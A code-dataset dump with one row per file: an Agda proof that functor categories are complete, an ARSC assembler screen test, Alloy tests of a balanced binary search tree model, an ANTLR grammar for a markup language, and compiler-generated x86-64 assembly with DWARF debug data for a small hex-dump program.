max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
|---|---|---|---|---|
src/Categories/Category/Complete/Properties.agda
|
turion/agda-categories
| 5
|
9025
|
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
module Categories.Category.Complete.Properties {o ℓ e} (C : Category o ℓ e) where
open import Level
open import Data.Product
open import Relation.Binary
open import Categories.Category.Complete
open import Categories.Category.Complete.Finitely
open import Categories.Category.Construction.Functors
open import Categories.Diagram.Limit as Lim
open import Categories.Diagram.Limit.Properties
open import Categories.Diagram.Equalizer.Limit C
open import Categories.Diagram.Cone.Properties
open import Categories.Object.Terminal
open import Categories.Object.Product.Limit C
open import Categories.Object.Terminal.Limit C
open import Categories.Functor
open import Categories.Functor.Limits
open import Categories.Functor.Properties
open import Categories.NaturalTransformation
open import Categories.NaturalTransformation.NaturalIsomorphism using (_≃_)
import Categories.Category.Construction.Cones as Co
import Categories.Morphism.Reasoning as MR
import Categories.Morphism as Mor
-- exports
open import Categories.Category.Complete.Properties.Construction public
open import Categories.Category.Complete.Properties.SolutionSet public
private
variable
o′ ℓ′ e′ o″ ℓ″ e″ : Level
module C = Category C
module _ (Com : Complete o′ ℓ′ e′ C) where
Complete⇒FinitelyComplete : FinitelyComplete C
Complete⇒FinitelyComplete = record
{ cartesian = record
{ terminal = limit⇒⊥ (Com (⊥⇒limit-F _ _ _))
; products = record
{ product = λ {A B} → limit⇒product (Com (product⇒limit-F _ _ _ A B))
}
}
; equalizer = complete⇒equalizer Com
}
-- if the base category is complete, then the functor category is complete.
-- in addition, the evaluation functor is continuous.
--
-- Functors-Complete : Complete o″ ℓ″ e″ D^C
-- evalF-Continuous : ∀ X → Continuous o″ ℓ″ e″ (evalF C D X)
module _ {D : Category o′ ℓ′ e′} (Com : Complete o″ ℓ″ e″ D) where
private
D^C = Functors C D
module D^C = Category D^C
module D = Category D
module _ {J : Category o″ ℓ″ e″} (F : Functor J D^C) where
private
module J = Category J
module F = Functor F
open F
module F₀ j = Functor (F₀ j)
module F₁ {a b} (f : a J.⇒ b) = NaturalTransformation (F₁ f)
ev : C.Obj → Functor D^C D
ev = evalF C D
F[-,_] : C.Obj → Functor J D
F[-, X ] = ev X ∘F F
F[-,-] : Functor C (Functors J D)
F[-,-] = record
{ F₀ = F[-,_]
; F₁ = λ {A B} f → ntHelper record
{ η = λ j → F₀.₁ j f
; commute = λ {j k} g → begin
F₀.₁ k f D.∘ F₁.η g A D.∘ F₀.₁ j C.id ≈⟨ pullˡ (F₁.sym-commute g f) ⟩
(F₁.η g B D.∘ F₀.₁ j f) D.∘ F₀.₁ j C.id ≈⟨ elimʳ (F₀.identity _) ⟩
F₁.η g B D.∘ F₀.₁ j f ≈⟨ introʳ (F₀.identity _) ⟩∘⟨refl ⟩
(F₁.η g B D.∘ F₀.₁ j C.id) D.∘ F₀.₁ j f ∎
}
; identity = F₀.identity _
; homomorphism = F₀.homomorphism _
; F-resp-≈ = λ eq → F₀.F-resp-≈ _ eq
}
where open D.HomReasoning
open MR D
module F[-,-] = Functor F[-,-]
module LimFX X = Limit (Com F[-, X ])
open LimFX hiding (commute)
K⇒lim : ∀ {X Y} (f : X C.⇒ Y) K → Co.Cones F[-, Y ] [ nat-map-Cone (F[-,-].₁ f) K , limit Y ]
K⇒lim f K = rep-cone _ (nat-map-Cone (F[-,-].₁ f) K)
lim⇒lim : ∀ {X Y} (f : X C.⇒ Y) → Co.Cones F[-, Y ] [ nat-map-Cone (F[-,-].₁ f) (limit X) , limit Y ]
lim⇒lim f = K⇒lim f (limit _)
module lim⇒lim {X Y} (f : X C.⇒ Y) = Co.Cone⇒ F[-, Y ] (lim⇒lim f)
module FCone (K : Co.Cone F) where
open Co.Cone F K public
module N = Functor N
module ψ j = NaturalTransformation (ψ j)
module FCone⇒ {K K′ : Co.Cone F} (K⇒K′ : Co.Cone⇒ F K K′) where
open Co.Cone⇒ F K⇒K′ public
module arr = NaturalTransformation arr
FXcone : ∀ X → (K : Co.Cone F) → Co.Cone F[-, X ]
FXcone X K = record
{ N = N.₀ X
; apex = record
{ ψ = λ j → ψ.η j X
; commute = λ f → D.∘-resp-≈ˡ (elimʳ (F₀.identity _)) ○ commute f
}
}
where open FCone K
open D.HomReasoning
open MR D
⊤ : Co.Cone F
⊤ = record
{ N = record
{ F₀ = λ X → apex X
; F₁ = λ {A B} f → lim⇒lim.arr f
; identity = λ {X} →
terminal.!-unique X record
{ arr = D.id
; commute = D.identityʳ ○ ⟺ (elimˡ (F₀.identity _))
}
; homomorphism = λ {X Y Z} {f g} →
terminal.!-unique₂ Z
{nat-map-Cone (F[-,-].₁ (g C.∘ f)) (limit X)}
{terminal.! Z}
{record { commute = λ {j} →
begin
proj Z j ∘ lim⇒lim.arr g ∘ lim⇒lim.arr f
≈⟨ pullˡ (lim⇒lim.commute g) ⟩
(F₀.₁ j g ∘ proj Y j) ∘ lim⇒lim.arr f
≈⟨ pullʳ (lim⇒lim.commute f) ⟩
F₀.₁ j g ∘ F₀.₁ j f ∘ proj X j
≈˘⟨ pushˡ (F₀.homomorphism j) ⟩
F₀.₁ j (g C.∘ f) ∘ proj X j
∎ }}
; F-resp-≈ = λ {A B} {f g} eq → terminal.!-unique B record
{ commute = lim⇒lim.commute g ○ ∘-resp-≈ˡ (F₀.F-resp-≈ _ (C.Equiv.sym eq)) }
}
; apex = record
{ ψ = λ j → ntHelper record
{ η = λ X → proj X j
; commute = λ _ → LimFX.commute _
}
; commute = λ f {X} → ∘-resp-≈ˡ (introʳ (F₀.identity _)) ○ limit-commute X f
}
}
where open D
open D.HomReasoning
open MR D
K⇒⊤′ : ∀ X {K} → Co.Cones F [ K , ⊤ ] → Co.Cones F[-, X ] [ FXcone X K , LimFX.limit X ]
K⇒⊤′ X {K} K⇒⊤ = record
{ arr = arr.η X
; commute = comm
}
where open FCone⇒ K⇒⊤ renaming (commute to comm)
complete : Limit F
complete = record
{ terminal = record
{ ⊤ = ⊤
; ⊤-is-terminal = record
{ ! = λ {K} →
let module K = FCone K
in record
{ arr = ntHelper record
{ η = λ X → rep X (FXcone X K)
; commute = λ {X Y} f →
terminal.!-unique₂ Y
{nat-map-Cone (F[-,-].₁ f) (FXcone X K)}
{record { commute = λ {j} →
begin
proj Y j ∘ rep Y (FXcone Y K) ∘ K.N.₁ f ≈⟨ pullˡ (LimFX.commute Y) ⟩
K.ψ.η j Y ∘ K.N.F₁ f ≈⟨ K.ψ.commute j f ⟩
F₀.₁ j f ∘ K.ψ.η j X ∎ }}
{record { commute = λ {j} →
begin
proj Y j ∘ lim⇒lim.arr f ∘ rep X (FXcone X K) ≈⟨ pullˡ (lim⇒lim.commute f) ⟩
(F₀.₁ j f ∘ proj X j) ∘ rep X (FXcone X K) ≈⟨ pullʳ (LimFX.commute X) ⟩
F₀.₁ j f ∘ K.ψ.η j X ∎ }}
}
; commute = λ {_} {X} → LimFX.commute X
}
; !-unique = λ K⇒⊤ {X} → terminal.!-unique X (K⇒⊤′ X K⇒⊤)
}
}
}
where open D
open D.HomReasoning
open MR D
module _ (L : Limit F) (X : C.Obj) where
module LimExpanded (L : Limit F) where
private
module L = Limit L
open L public
module apex = Functor L.apex
module proj j = NaturalTransformation (L.proj j)
module L = LimExpanded L
module complete = LimExpanded complete
open MR D
open D.HomReasoning
cone-iso : Mor._≅_ (Co.Cones F) complete.limit L.limit
cone-iso = up-to-iso-cone F complete L
module cone-iso where
open Mor._≅_ cone-iso public
module from where
open Co.Cone⇒ F from public
module arr = NaturalTransformation arr
module to where
open Co.Cone⇒ F to public
module arr = NaturalTransformation arr
ft-iso : Mor._≅_ D^C complete.apex L.apex
ft-iso = Lim.up-to-iso F complete L
module ft-iso = Mor._≅_ ft-iso
apex-iso : ∀ X → Mor._≅_ D (complete.apex.₀ X) (L.apex.₀ X)
apex-iso X = record
{ from = NaturalTransformation.η ft-iso.from X
; to = NaturalTransformation.η ft-iso.to X
; iso = record
{ isoˡ = ft-iso.isoˡ
; isoʳ = ft-iso.isoʳ
}
}
! : {K : Co.Cone F[-, X ]} → Co.Cone⇒ F[-, X ] K (F-map-Coneˡ (ev X) L.limit)
! {K} = record
{ arr = cone-iso.from.arr.η X D.∘ rep X K
; commute = λ {j} → begin
(L.proj.η j X D.∘ L.apex.₁ C.id) D.∘ cone-iso.from.arr.η X D.∘ rep X K
≈⟨ elimʳ L.apex.identity ⟩∘⟨refl ⟩
L.proj.η j X D.∘ cone-iso.from.arr.η X D.∘ rep X K
≈⟨ pullˡ cone-iso.from.commute ⟩
complete.proj.η j X D.∘ rep X K
≈⟨ LimFX.commute X {_} {K} ⟩
ψ j
∎
}
where open Co.Cone _ K
module ! K = Co.Cone⇒ _ (! {K})
!-unique : {K : Co.Cone F[-, X ]} (f : Co.Cone⇒ F[-, X ] K (F-map-Coneˡ (ev X) L.limit)) →
!.arr K D.≈ Co.Cone⇒.arr f
!-unique {K} f = ⟺ (switch-tofromˡ (cone-iso.apex-iso X) target)
where open Co.Cone _ K
module f = Co.Cone⇒ _ f
target : cone-iso.to.arr.η X D.∘ f.arr D.≈ rep X K
target = terminal.!-unique₂ X {K}
{record
{ arr = cone-iso.to.arr.η X D.∘ f.arr
; commute = λ {j} → begin
proj X j D.∘ cone-iso.to.arr.η X D.∘ f.arr ≈⟨ pullˡ cone-iso.to.commute ⟩
L.proj.η j X D.∘ f.arr ≈⟨ introʳ L.apex.identity ⟩∘⟨refl ⟩
(L.proj.η j X D.∘ L.apex.₁ C.id) D.∘ f.arr ≈⟨ f.commute ⟩
ψ j ∎
}}
{record
{ arr = rep X K
; commute = λ {j} → begin
proj X j D.∘ rep X K ≈⟨ LimFX.commute X ⟩
ψ j ∎
}}
preserves : IsTerminal (Co.Cones F[-, X ]) (F-map-Coneˡ (ev X) L.limit)
preserves = record
{ ! = !
; !-unique = !-unique
}
Functors-Complete : Complete o″ ℓ″ e″ D^C
Functors-Complete = complete
evalF-Continuous : ∀ X → Continuous o″ ℓ″ e″ (evalF C D X)
evalF-Continuous X {J} {F} L = preserves F L X
|
assembler/test/half_screen_red_test.asm
|
dbajgoric/ARSC
| 3
|
98030
|
<filename>assembler/test/half_screen_red_test.asm<gh_stars>1-10
LDX WORD_COUNT,1
LOOP:
TIX LOOP_END,1
STX TMP,1
LDA TMP
TCA
STA TMP
LDA PX_COLOR
WWD {0} TMP
BRU LOOP
LOOP_END:
HLT
TMP BSS 1
VAR BSS 1
WORD_COUNT BSC -30720
PX_COLOR BSC 18724 // Binary 0100 1001 0010 0100 (red for each of 5 pixels)
END
|
experiments/test-suite/mutation-based/10/3/balancedBST.als
|
kaiyuanw/AlloyFLCore
| 1
|
4450
|
pred test7 {
some disj BinaryTree0: BinaryTree {some disj Node0, Node1, Node2: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node2
Node = Node0 + Node1 + Node2
left = Node0->Node1 + Node2->Node0
no right
elem = Node0->7 + Node1->3 + Node2->2
}}
}
run test7 for 4 expect 1
pred test99 {
some disj BinaryTree0: BinaryTree {some disj Node0, Node1, Node2: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node2
Node = Node0 + Node1 + Node2
left = Node2->Node0
right = Node1->Node0 + Node2->Node1
elem = Node0->7 + Node1->6 + Node2->6
}}
}
run test99 for 4 expect 0
pred test12 {
some disj BinaryTree0: BinaryTree {some disj Node0: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node0
Node = Node0
no left
no right
elem = Node0->-1
Sorted[]
}}
}
run test12 for 4 expect 1
pred test87 {
some disj BinaryTree0: BinaryTree {some disj Node0, Node1, Node2: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node2
Node = Node0 + Node1 + Node2
left = Node0->Node1 + Node2->Node2
right = Node2->Node0
elem = Node0->7 + Node1->6 + Node2->4
}}
}
run test87 for 4 expect 0
pred test57 {
some disj BinaryTree0: BinaryTree {some disj Node0, Node1, Node2: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node2
Node = Node0 + Node1 + Node2
left = Node0->Node1 + Node2->Node0
no right
elem = Node0->7 + Node1->1 + Node2->-6
Balanced[]
}}
}
run test57 for 4 expect 0
pred test85 {
some disj BinaryTree0: BinaryTree {some disj Node0, Node1, Node2: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node2
Node = Node0 + Node1 + Node2
left = Node0->Node1 + Node2->Node0
right = Node2->Node1
elem = Node0->7 + Node1->6 + Node2->5
}}
}
run test85 for 4 expect 0
pred test40 {
some disj BinaryTree0: BinaryTree {some disj Node0, Node1, Node2, Node3: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node3
Node = Node0 + Node1 + Node2 + Node3
left = Node0->Node2
right = Node2->Node1 + Node3->Node0
elem = Node0->7 + Node1->4 + Node2->3 + Node3->5
Sorted[]
}}
}
run test40 for 4 expect 0
pred test106 {
some disj BinaryTree0: BinaryTree {some disj Node0: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node0
Node = Node0
no left
no right
elem = Node0->-5
}}
}
run test106 for 4 expect 1
pred test1 {
no BinaryTree
no root
no Node
no left
no right
no elem
}
run test1 for 4 expect 0
pred test51 {
some disj BinaryTree0: BinaryTree {some disj Node0, Node1, Node2: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node1
Node = Node0 + Node1 + Node2
left = Node1->Node2
right = Node2->Node0
elem = Node0->7 + Node1->-8 + Node2->3
HasAtMostOneChild[Node2]
}}
}
run test51 for 4 expect 1
pred test94 {
some disj BinaryTree0: BinaryTree {some disj Node0: Node {
BinaryTree = BinaryTree0
root = BinaryTree0->Node0
Node = Node0
no left
no right
elem = Node0->-4
}}
}
run test94 for 4 expect 1
|
Sparkz/src/SparkzParser.g4
|
CalebABG/Eva-ElegantMarkup
| 0
|
4124
|
parser grammar SparkzParser;
options {
tokenVocab=SparkzLexer;
}
/*
Parser rules
*/
/* Start grammar rule! */
sparkz
: elementDeclaration* EOF
;
elementDeclaration
: elementNormalDeclaration # normalElement
| elementCompactDeclaration # compactElement
| elementCompactContentDeclaration # compactExtElement
;
elementCompactDeclaration
: elementName elementAttributeListDeclaration? elementCompactStringDeclaration? ';'
;
elementCompactContentDeclaration
: elementName elementAttributeListDeclaration? elementCompactStringDeclaration? '>' elementCompactContent
;
elementCompactStringDeclaration
: ':' string
;
elementCompactContent
: elementDeclaration
;
elementNormalDeclaration
: elementName elementAttributeListDeclaration? elementBody
;
elementBody
: '{' elementBodyContent '}'
;
elementBodyContent
: (elementDeclaration | elementBodyPropertyDeclaration)*
;
elementBodyPropertyDeclaration
: '.' elementName '=' string
;
elementAttributeListDeclaration
: '(' elementAttributes ')'
;
elementAttributes
: elementAttribute (',' elementAttribute)*
;
elementAttribute
: elementAttributeName ('=' elementAttributeValue)?
;
elementAttributeName
: '@' elementName
;
elementAttributeValue
: string
;
elementName
: TagNameDeclaration
| TagNameSpecialDeclaration
;
string
: StringLiteral
;
|
pkgs/tools/yasm/src/modules/dbgfmts/dwarf2/tests/passwin64/dwarfwin64_testhd.asm
|
manggoguy/parsec-modified
| 2,151
|
178541
|
.file "test_hd.c"
.section .debug_abbrev,"",@progbits
.Ldebug_abbrev0:
.section .debug_info,"",@progbits
.Ldebug_info0:
.section .debug_line,"",@progbits
.Ldebug_line0:
.text
.Ltext0:
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "Usage: %s <file>\n"
.LC1:
.string "rb"
.LC2:
.string "Could not open `%s'.\n"
.LC3:
.string "%02x \n"
.LC4:
.string "Error reading from `%s'.\n"
.text
.p2align 4,,15
.globl main
.type main, @function
main:
.LFB26:
.file 1 "test_hd.c"
.loc 1 33 0
.LVL0:
movq %rbp, -16(%rsp)
.LCFI0:
movq %rbx, -24(%rsp)
.LCFI1:
movq %rsi, %rbp
movq %r12, -8(%rsp)
.LCFI2:
subq $24, %rsp
.LCFI3:
.LVL1:
.loc 1 37 0
cmpl $2, %edi
je .L2
.LVL2:
.loc 1 38 0
movq (%rsi), %rdx
movq stderr(%rip), %rdi
.LVL3:
movl $.LC0, %esi
xorl %eax, %eax
call fprintf
movl $1, %eax
.LVL4:
.L4:
.loc 1 59 0
movq (%rsp), %rbx
.LVL5:
movq 8(%rsp), %rbp
.LVL6:
movq 16(%rsp), %r12
addq $24, %rsp
.LVL7:
ret
.LVL8:
.p2align 4,,7
.L2:
.loc 1 42 0
movq 8(%rbp), %rdi
.LVL9:
leaq 8(%rsi), %r12
movl $.LC1, %esi
call fopen
.LVL10:
.loc 1 44 0
testq %rax, %rax
.LVL11:
.loc 1 42 0
movq %rax, %rbx
.LVL12:
.loc 1 44 0
jne .L12
jmp .L16
.LVL13:
.p2align 4,,7
.L7:
.loc 1 50 0
movl %eax, %esi
movl $.LC3, %edi
xorl %eax, %eax
.LVL14:
call printf
.LVL15:
.L12:
.loc 1 49 0
movq %rbx, %rdi
call fgetc
.LVL16:
cmpl $-1, %eax
jne .L7
.loc 1 52 0
movq %rbx, %rdi
call ferror
.LVL17:
testl %eax, %eax
.p2align 4,,2
jne .L15
.loc 1 57 0
movq %rbx, %rdi
call fclose
.loc 1 59 0
movq (%rsp), %rbx
.LVL18:
movq 8(%rsp), %rbp
.LVL19:
.loc 1 57 0
xorl %eax, %eax
.loc 1 59 0
movq 16(%rsp), %r12
addq $24, %rsp
.LVL20:
ret
.LVL21:
.L15:
.loc 1 53 0
movq (%r12), %rdx
movq stderr(%rip), %rdi
movl $.LC4, %esi
xorl %eax, %eax
call fprintf
.loc 1 59 0
movq (%rsp), %rbx
.LVL22:
movq 8(%rsp), %rbp
.LVL23:
.loc 1 53 0
movl $1, %eax
.loc 1 59 0
movq 16(%rsp), %r12
addq $24, %rsp
.LVL24:
ret
.LVL25:
.L16:
.loc 1 45 0
movq 8(%rbp), %rdx
movq stderr(%rip), %rdi
movl $.LC2, %esi
xorl %eax, %eax
call fprintf
movl $1, %eax
jmp .L4
.LFE26:
.size main, .-main
.section .debug_frame,"",@progbits
.Lframe0:
.long .LECIE0-.LSCIE0
.LSCIE0:
.long 0xffffffff
.byte 0x1
.string ""
.uleb128 0x1
.sleb128 -8
.byte 0x10
.byte 0xc
.uleb128 0x7
.uleb128 0x8
.byte 0x90
.uleb128 0x1
.align 8
.LECIE0:
.LSFDE0:
.long .LEFDE0-.LASFDE0
.LASFDE0:
.long .Lframe0
.quad .LFB26
.quad .LFE26-.LFB26
.byte 0x4
.long .LCFI1-.LFB26
.byte 0x83
.uleb128 0x4
.byte 0x86
.uleb128 0x3
.byte 0x4
.long .LCFI3-.LCFI1
.byte 0xe
.uleb128 0x20
.byte 0x8c
.uleb128 0x2
.align 8
.LEFDE0:
.section .eh_frame,"a",@progbits
.Lframe1:
.long .LECIE1-.LSCIE1
.LSCIE1:
.long 0x0
.byte 0x1
.string ""
.uleb128 0x1
.sleb128 -8
.byte 0x10
.byte 0xc
.uleb128 0x7
.uleb128 0x8
.byte 0x90
.uleb128 0x1
.align 8
.LECIE1:
.LSFDE1:
.long .LEFDE1-.LASFDE1
.LASFDE1:
.long .LASFDE1-.Lframe1
.quad .LFB26
.quad .LFE26-.LFB26
.byte 0x4
.long .LCFI1-.LFB26
.byte 0x83
.uleb128 0x4
.byte 0x86
.uleb128 0x3
.byte 0x4
.long .LCFI3-.LCFI1
.byte 0xe
.uleb128 0x20
.byte 0x8c
.uleb128 0x2
.align 8
.LEFDE1:
.file 2 "/usr/include/stdio.h"
.file 3 "/usr/include/libio.h"
.file 4 "/usr/include/bits/types.h"
.text
.Letext0:
.section .debug_loc,"",@progbits
.Ldebug_loc0:
.LLST0:
.quad .LVL0-.Ltext0
.quad .LVL1-.Ltext0
.value 0x2
.byte 0x77
.sleb128 -24
.quad .LVL1-.Ltext0
.quad .LVL7-.Ltext0
.value 0x2
.byte 0x77
.sleb128 0
.quad .LVL7-.Ltext0
.quad .LVL8-.Ltext0
.value 0x2
.byte 0x77
.sleb128 -24
.quad .LVL8-.Ltext0
.quad .LVL20-.Ltext0
.value 0x2
.byte 0x77
.sleb128 0
.quad .LVL20-.Ltext0
.quad .LVL21-.Ltext0
.value 0x2
.byte 0x77
.sleb128 -24
.quad .LVL21-.Ltext0
.quad .LVL24-.Ltext0
.value 0x2
.byte 0x77
.sleb128 0
.quad .LVL24-.Ltext0
.quad .LVL25-.Ltext0
.value 0x2
.byte 0x77
.sleb128 -24
.quad .LVL25-.Ltext0
.quad .LFE26-.Ltext0
.value 0x2
.byte 0x77
.sleb128 0
.quad 0x0
.quad 0x0
.LLST1:
.quad .LVL0-.Ltext0
.quad .LVL3-.Ltext0
.value 0x1
.byte 0x55
.quad .LVL8-.Ltext0
.quad .LVL9-.Ltext0
.value 0x1
.byte 0x55
.quad 0x0
.quad 0x0
.LLST2:
.quad .LVL0-.Ltext0
.quad .LVL2-.Ltext0
.value 0x1
.byte 0x54
.quad .LVL2-.Ltext0
.quad .LVL6-.Ltext0
.value 0x1
.byte 0x56
.quad .LVL8-.Ltext0
.quad .LVL19-.Ltext0
.value 0x1
.byte 0x56
.quad .LVL21-.Ltext0
.quad .LVL23-.Ltext0
.value 0x1
.byte 0x56
.quad .LVL25-.Ltext0
.quad .LFE26-.Ltext0
.value 0x1
.byte 0x56
.quad 0x0
.quad 0x0
.LLST3:
.quad .LVL4-.Ltext0
.quad .LVL5-.Ltext0
.value 0x1
.byte 0x53
.quad .LVL10-.Ltext0
.quad .LVL11-.Ltext0
.value 0x1
.byte 0x50
.quad .LVL12-.Ltext0
.quad .LVL18-.Ltext0
.value 0x1
.byte 0x53
.quad .LVL21-.Ltext0
.quad .LVL22-.Ltext0
.value 0x1
.byte 0x53
.quad .LVL25-.Ltext0
.quad .LFE26-.Ltext0
.value 0x1
.byte 0x53
.quad 0x0
.quad 0x0
.LLST4:
.quad .LVL13-.Ltext0
.quad .LVL14-.Ltext0
.value 0x1
.byte 0x50
.quad .LVL14-.Ltext0
.quad .LVL15-.Ltext0
.value 0x1
.byte 0x54
.quad .LVL16-.Ltext0
.quad .LVL17-.Ltext0
.value 0x1
.byte 0x50
.quad 0x0
.quad 0x0
.section .debug_info
.long 0x347
.value 0x2
.long .Ldebug_abbrev0
.byte 0x8
.uleb128 0x1
.long .Ldebug_line0
.quad .Letext0
.quad .Ltext0
.long .LASF51
.byte 0x1
.long .LASF52
.long .LASF53
.uleb128 0x2
.long .LASF0
.byte 0x8
.byte 0x7
.uleb128 0x2
.long .LASF1
.byte 0x1
.byte 0x8
.uleb128 0x2
.long .LASF2
.byte 0x2
.byte 0x7
.uleb128 0x2
.long .LASF3
.byte 0x4
.byte 0x7
.uleb128 0x2
.long .LASF4
.byte 0x1
.byte 0x6
.uleb128 0x2
.long .LASF5
.byte 0x2
.byte 0x5
.uleb128 0x3
.string "int"
.byte 0x4
.byte 0x5
.uleb128 0x2
.long .LASF6
.byte 0x8
.byte 0x5
.uleb128 0x4
.long .LASF7
.byte 0x4
.byte 0x8f
.long 0x5e
.uleb128 0x4
.long .LASF8
.byte 0x4
.byte 0x90
.long 0x5e
.uleb128 0x2
.long .LASF0
.byte 0x8
.byte 0x7
.uleb128 0x5
.byte 0x8
.uleb128 0x6
.byte 0x8
.long 0x8a
.uleb128 0x2
.long .LASF9
.byte 0x1
.byte 0x6
.uleb128 0x4
.long .LASF10
.byte 0x2
.byte 0x2e
.long 0x9c
.uleb128 0x7
.long 0x238
.long .LASF38
.byte 0xd8
.byte 0x2
.byte 0x2e
.uleb128 0x8
.long .LASF11
.byte 0x3
.value 0x10c
.long 0x57
.byte 0x2
.byte 0x23
.uleb128 0x0
.uleb128 0x8
.long .LASF12
.byte 0x3
.value 0x111
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x8
.uleb128 0x8
.long .LASF13
.byte 0x3
.value 0x112
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x10
.uleb128 0x8
.long .LASF14
.byte 0x3
.value 0x113
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x18
.uleb128 0x8
.long .LASF15
.byte 0x3
.value 0x114
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x20
.uleb128 0x8
.long .LASF16
.byte 0x3
.value 0x115
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x28
.uleb128 0x8
.long .LASF17
.byte 0x3
.value 0x116
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x30
.uleb128 0x8
.long .LASF18
.byte 0x3
.value 0x117
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x38
.uleb128 0x8
.long .LASF19
.byte 0x3
.value 0x118
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x40
.uleb128 0x8
.long .LASF20
.byte 0x3
.value 0x11a
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x48
.uleb128 0x8
.long .LASF21
.byte 0x3
.value 0x11b
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x50
.uleb128 0x8
.long .LASF22
.byte 0x3
.value 0x11c
.long 0x84
.byte 0x2
.byte 0x23
.uleb128 0x58
.uleb128 0x8
.long .LASF23
.byte 0x3
.value 0x11e
.long 0x276
.byte 0x2
.byte 0x23
.uleb128 0x60
.uleb128 0x8
.long .LASF24
.byte 0x3
.value 0x120
.long 0x27c
.byte 0x2
.byte 0x23
.uleb128 0x68
.uleb128 0x8
.long .LASF25
.byte 0x3
.value 0x122
.long 0x57
.byte 0x2
.byte 0x23
.uleb128 0x70
.uleb128 0x8
.long .LASF26
.byte 0x3
.value 0x126
.long 0x57
.byte 0x2
.byte 0x23
.uleb128 0x74
.uleb128 0x8
.long .LASF27
.byte 0x3
.value 0x128
.long 0x65
.byte 0x2
.byte 0x23
.uleb128 0x78
.uleb128 0x8
.long .LASF28
.byte 0x3
.value 0x12c
.long 0x3b
.byte 0x3
.byte 0x23
.uleb128 0x80
.uleb128 0x8
.long .LASF29
.byte 0x3
.value 0x12d
.long 0x49
.byte 0x3
.byte 0x23
.uleb128 0x82
.uleb128 0x8
.long .LASF30
.byte 0x3
.value 0x12e
.long 0x282
.byte 0x3
.byte 0x23
.uleb128 0x83
.uleb128 0x8
.long .LASF31
.byte 0x3
.value 0x132
.long 0x292
.byte 0x3
.byte 0x23
.uleb128 0x88
.uleb128 0x8
.long .LASF32
.byte 0x3
.value 0x13b
.long 0x70
.byte 0x3
.byte 0x23
.uleb128 0x90
.uleb128 0x8
.long .LASF33
.byte 0x3
.value 0x141
.long 0x82
.byte 0x3
.byte 0x23
.uleb128 0x98
.uleb128 0x8
.long .LASF34
.byte 0x3
.value 0x142
.long 0x82
.byte 0x3
.byte 0x23
.uleb128 0xa0
.uleb128 0x8
.long .LASF35
.byte 0x3
.value 0x144
.long 0x57
.byte 0x3
.byte 0x23
.uleb128 0xa8
.uleb128 0x8
.long .LASF36
.byte 0x3
.value 0x146
.long 0x298
.byte 0x3
.byte 0x23
.uleb128 0xac
.byte 0x0
.uleb128 0x9
.long .LASF37
.byte 0x3
.byte 0xb0
.uleb128 0x7
.long 0x276
.long .LASF39
.byte 0x18
.byte 0x3
.byte 0xb6
.uleb128 0xa
.long .LASF40
.byte 0x3
.byte 0xb7
.long 0x276
.byte 0x2
.byte 0x23
.uleb128 0x0
.uleb128 0xa
.long .LASF41
.byte 0x3
.byte 0xb8
.long 0x27c
.byte 0x2
.byte 0x23
.uleb128 0x8
.uleb128 0xa
.long .LASF42
.byte 0x3
.byte 0xbc
.long 0x57
.byte 0x2
.byte 0x23
.uleb128 0x10
.byte 0x0
.uleb128 0x6
.byte 0x8
.long 0x23f
.uleb128 0x6
.byte 0x8
.long 0x9c
.uleb128 0xb
.long 0x292
.long 0x8a
.uleb128 0xc
.long 0x7b
.byte 0x0
.byte 0x0
.uleb128 0x6
.byte 0x8
.long 0x238
.uleb128 0xb
.long 0x2a8
.long 0x8a
.uleb128 0xc
.long 0x7b
.byte 0x2b
.byte 0x0
.uleb128 0x2
.long .LASF43
.byte 0x8
.byte 0x7
.uleb128 0x2
.long .LASF44
.byte 0x8
.byte 0x5
.uleb128 0xd
.long 0x317
.byte 0x1
.long .LASF54
.byte 0x1
.byte 0x21
.byte 0x1
.long 0x57
.quad .LFB26
.quad .LFE26
.long .LLST0
.uleb128 0xe
.long .LASF45
.byte 0x1
.byte 0x20
.long 0x57
.long .LLST1
.uleb128 0xe
.long .LASF46
.byte 0x1
.byte 0x20
.long 0x317
.long .LLST2
.uleb128 0xf
.long .LASF47
.byte 0x1
.byte 0x22
.long 0x31d
.long .LLST3
.uleb128 0x10
.string "ch"
.byte 0x1
.byte 0x23
.long 0x57
.long .LLST4
.byte 0x0
.uleb128 0x6
.byte 0x8
.long 0x84
.uleb128 0x6
.byte 0x8
.long 0x91
.uleb128 0x11
.long .LASF48
.byte 0x2
.byte 0x8e
.long 0x27c
.byte 0x1
.byte 0x1
.uleb128 0x11
.long .LASF49
.byte 0x2
.byte 0x8f
.long 0x27c
.byte 0x1
.byte 0x1
.uleb128 0x11
.long .LASF50
.byte 0x2
.byte 0x90
.long 0x27c
.byte 0x1
.byte 0x1
.byte 0x0
.section .debug_abbrev
.uleb128 0x1
.uleb128 0x11
.byte 0x1
.uleb128 0x10
.uleb128 0x6
.uleb128 0x12
.uleb128 0x1
.uleb128 0x11
.uleb128 0x1
.uleb128 0x25
.uleb128 0xe
.uleb128 0x13
.uleb128 0xb
.uleb128 0x3
.uleb128 0xe
.uleb128 0x1b
.uleb128 0xe
.byte 0x0
.byte 0x0
.uleb128 0x2
.uleb128 0x24
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0xb
.uleb128 0xb
.uleb128 0x3e
.uleb128 0xb
.byte 0x0
.byte 0x0
